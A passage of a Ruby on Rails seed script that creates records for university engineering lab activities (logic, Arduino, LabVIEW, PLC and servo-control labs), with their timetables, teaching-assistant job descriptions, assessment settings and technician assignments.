develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a325.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a325.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a326 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"203\").first_or_create!(name: \"Basic Logic and Computer Based Decision Making\",\n name_abrv: \"Logic Lab\", archived: false, in_drive: false, user_id: 1)\n at326 = ActivityTimetable.where(activity_id: a326.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a326.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a326.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is an introduction into basic logic circuits, (AND, OR, etc and simple sequential circuits, SR latch) . This Lab will also link basic computer based decision making, (simple if and case statements).\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a326.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a326.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a327 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"204\").first_or_create!(name: \"Design and Build Project - Hardware\",\n name_abrv: \"ShaddowBots-Hard\", archived: false, in_drive: false, user_id: 4)\n at327 = ActivityTimetable.where(activity_id: a327.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a327.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a327.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a327.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a327.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a328 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"205\").first_or_create!(name: \"Digital Sampling and Reconstruction of Signals\",\n name_abrv: \"SS-Sample\", archived: false, in_drive: false, user_id: 5)\n at328 = ActivityTimetable.where(activity_id: a328.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a328.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a328.id).first_or_create!(criteria: \"Must have an understanding of discrete signal sampling and reconstruction, and the mathematics used to describe these processes.\",\n job_desc:\"During this session, the students will investigate the effect that sampling of a continuous-time signal has on the resulting signal. Furthermore, they will investigate how filtering of the continuous time signal can overcome some of the issues associated with signal sampling and signal reconstruction.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a328.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a328.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a329 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Systems Laboratory\",\n name_abrv: \"DIS-SERVO\", archived: false, in_drive: false, user_id: 2)\n at329 = ActivityTimetable.where(activity_id: a329.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a329.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a329.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, and z-domain control systems\",\n job_desc:\"This laboratory involves the analysis of control system behavior in the z-domain, when changing sample time and model characteristics\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a329.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a329.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a330 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 3)\n at330 = ActivityTimetable.where(activity_id: a330.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a330.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a330.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a330.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a330.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a331 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Control Design\",\n name_abrv: \"SERVO-C\", archived: false, in_drive: false, user_id: 2)\n at331 = ActivityTimetable.where(activity_id: a331.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a331.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a331.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involved designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a331.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a331.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a332 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"207\").first_or_create!(name: \"Filters\",\n name_abrv: \"SS-Filters\", archived: false, in_drive: false, user_id: 2)\n at332 = ActivityTimetable.where(activity_id: a332.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a332.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a332.id).first_or_create!(criteria: \"Must have a strong mathematical understanding, and be able to describe the frequency response characteristics of filters, as LTI systems.\",\n job_desc:\"During this session, the students will investigate the response of different filter types, and demonstrate how systems exhibit filtering behavior when observing the input and output signals.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a332.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a332.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a333 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"208\").first_or_create!(name: \"First order and second order systems [RCL Circuit]\",\n name_abrv: \"AMR231RCL\", archived: false, in_drive: false, user_id: 1)\n at333 = ActivityTimetable.where(activity_id: a333.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 13, max_week_num: 15, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a333.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a333.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a333.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a333.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a333.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a334 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 1)\n at334 = ActivityTimetable.where(activity_id: a334.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a334.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a334.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a334.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a334.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a335 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 5)\n at335 = ActivityTimetable.where(activity_id: a335.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a335.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a335.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a335.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a335.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a335.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a336 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 5)\n at336 = ActivityTimetable.where(activity_id: a336.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a336.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a336.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"This laboratory involves interfacing digital sensors and actuators to an arduino device\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a336.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a336.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a337 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 2)\n at337 = ActivityTimetable.where(activity_id: a337.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a337.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a337.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a337.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a337.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a338 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"211\").first_or_create!(name: \"LabVIEW: Data Acquisition\",\n name_abrv: \"LabVIEW1\", archived: false, in_drive: false, user_id: 3)\n at338 = ActivityTimetable.where(activity_id: a338.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a338.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a338.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a338.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a338.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a339 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"212\").first_or_create!(name: \"LabVIEW: Servo Control Application\",\n name_abrv: \"LabVIEW2\", archived: false, in_drive: false, user_id: 3)\n at339 = ActivityTimetable.where(activity_id: a339.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a339.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a339.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a339.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a339.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a340 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"HVAC 2\", archived: false, in_drive: false, user_id: 1)\n at340 = ActivityTimetable.where(activity_id: a340.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a340.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a340.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a340.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a340.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a341 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: false, in_drive: false, user_id: 1)\n at341 = ActivityTimetable.where(activity_id: a341.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a341.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a341.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a341.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a341.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a341.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a342 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"214\").first_or_create!(name: \"Multi-servo & closed-loop control (active sensing)\",\n name_abrv: \"Robot - Multi Servo\", archived: false, in_drive: false, user_id: 1)\n at342 = ActivityTimetable.where(activity_id: a342.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a342.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a342.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this session, the students will coordinate the motion of multiple servomotors with PWM signals, from an Arduino. They will also, assemble a robot hand and investigate the basics of sensor-motor coordination through a process of grasping a fragile object.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a342.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a342.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a343 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 5)\n at343 = ActivityTimetable.where(activity_id: a343.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a343.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a343.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a343.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a343.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a344 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 1)\n at344 = ActivityTimetable.where(activity_id: a344.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a344.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a344.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a344.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: 